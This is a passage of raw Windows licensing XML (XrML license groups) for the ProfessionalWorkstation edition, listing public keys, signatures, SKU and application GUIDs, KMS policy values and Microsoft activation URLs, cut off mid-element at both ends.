Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>Is89H8KP1ftjkpBBkcSA8nACmE0=</DigestValue></Reference></SignedInfo><SignatureValue>Gn6lhiDvPyB/M1IPiToy7m6v6MsoP+RHW8A+njyyB0acePnMw5yC3y3aU+X3klApECe9TavmgDiNE96YV1ET3KsqI+7BNzaCj6eXwQZGyYGiucNqOzcxAWHViZQtKgZp8tEzYBmY3jRaxJTS7EJqAPhfD5UZK7qLvWvXENXRv4uR2pToELH0zbRm5Y38n00EJ55YxitRJz0DrtQaHQWeKiIRYFvajU4RVphmyS1RM6MSjMccBUzp13RhIy0Liwc5ylKGMRjZVpjjvg+fS22ojXRPp31MzcDqdO3J5A+w5rF6xWIFlbCBgDRxYtHqNR58pzMba/qd5FOOrDQSUkLK1w==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="privateCertificateId">{03eaeb0d-ac2f-4b51-abc7-07ca13ec418f}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{03eaeb0d-ac2f-4b51-abc7-07ca13ec418f}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>1kCY7xreMYD/Ec1L/ugueLaSTvE=</DigestValue></Reference></SignedInfo><SignatureValue>bBVnzU4G1dx3+Q/oZa7iN13BDhFu525b6fYxykUJ+8t1ae2iSBtQzj7mAgKsdARIrgMbypcfHlqCglEMQXL4c9WEj+7HlTUfQItcp74/n+3PcjGD1ROc389DoaLArmtZqCpkr5AWn7wVYgnQWX2WW0wyKBIXwtWvPXSVELVlRADXVHJVQNqZACfjDCN8C0JnB+puTvFVxrTPiYk4jn/gseUp6a+gQATG3tzqrghDuKGb3iEG+dn6GihNkqHqUJ9ZaDu2854xBruUvQuwgYurI0pPc0LWDnzmoDIchTrZpGbc2g2vMsBnvp7BU5Ggt5heIY5UVuTdqTyJzjK2DoRaqg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{6aacd89e-310e-49da-82b2-e291660c5585}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{54c1014b-67ff-4c01-aa7e-9dfd8a32bc67}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{90da7373-1c51-430b-bf26-c97e9c5cdc31}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{90da7373-1c51-430b-bf26-c97e9c5cdc31}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>9k4AM3o688/+aIHsRCAQKO1bjPU=</DigestValue></Reference></SignedInfo><SignatureValue>eU/WhSfWEmXBd/N7mAOYEz7YsZlhKrJExkLKsIVj4Lemhv47E2gl7YW6dv79Vrazj2Ki/QltPqIraYKc7cpJeN0T+MD29RSrdBkut05y/LAZurg4iVScT/lYG4ARb0AQo7Hs1dUQSKSJHmNKhQ7s5Y4/NXtqjbmZVpJt+G11pbL9xjJO2ChPWFSHC6ZaiN0RqngGVRKle1QxjOJZe+JyjEucCnIh5GtdmgjVCUgYxW4ovysboq6K+wHsXuI4YlofYHdM3XEIvLmPIAj/CvgDtKxtY1nkPrsTPWeH9T7Y9vRmHznR8FUCK+54yUW3cFUyN0HDWaxDf83FlnVG5jQgmA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="privateCertificateId">{1334fcee-8690-49c0-9680-eda56133a855}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{1334fcee-8690-49c0-9680-eda56133a855}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>hw5onH1BNqhdZ+m6CKBzl8DNFWA=</DigestValue></Reference></SignedInfo><SignatureValue>C6vvmg9p+nnSfPjjaWNE8jqyil4FYUNM+Ifb23soZ88HzHLmZYEQsoSyt6evPPDAz1Ns4RmkUxrpR6eSDiTWHUuvcIFs+HMUDmxrs2ITKBxM3/525IyOtdVXuKhzaWlf4QMu7WBOUYLeVxotzyJbZBFeNwJnV8V6cOMbVjfS4s++eeUw8BnXR92X8nndhiyQgvLmRR3C3wLSkrZzmeOvNRAfKvCQpewNtPNNQXb3RYlZKT/EV8wYtAMybHuN3edsxDFrNHTU8pJOhTV6ksO5TmDhRwaroFx6fRMEBQ2Dz8XbarjBRg0XdoqNtWxCIE2eZ/MGkXlG9fcGbFvble/IQw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{54c1014b-67ff-4c01-aa7e-9dfd8a32bc67}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7753aa3a-30ba-4188-bb2c-4e0e1d6109a9}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data 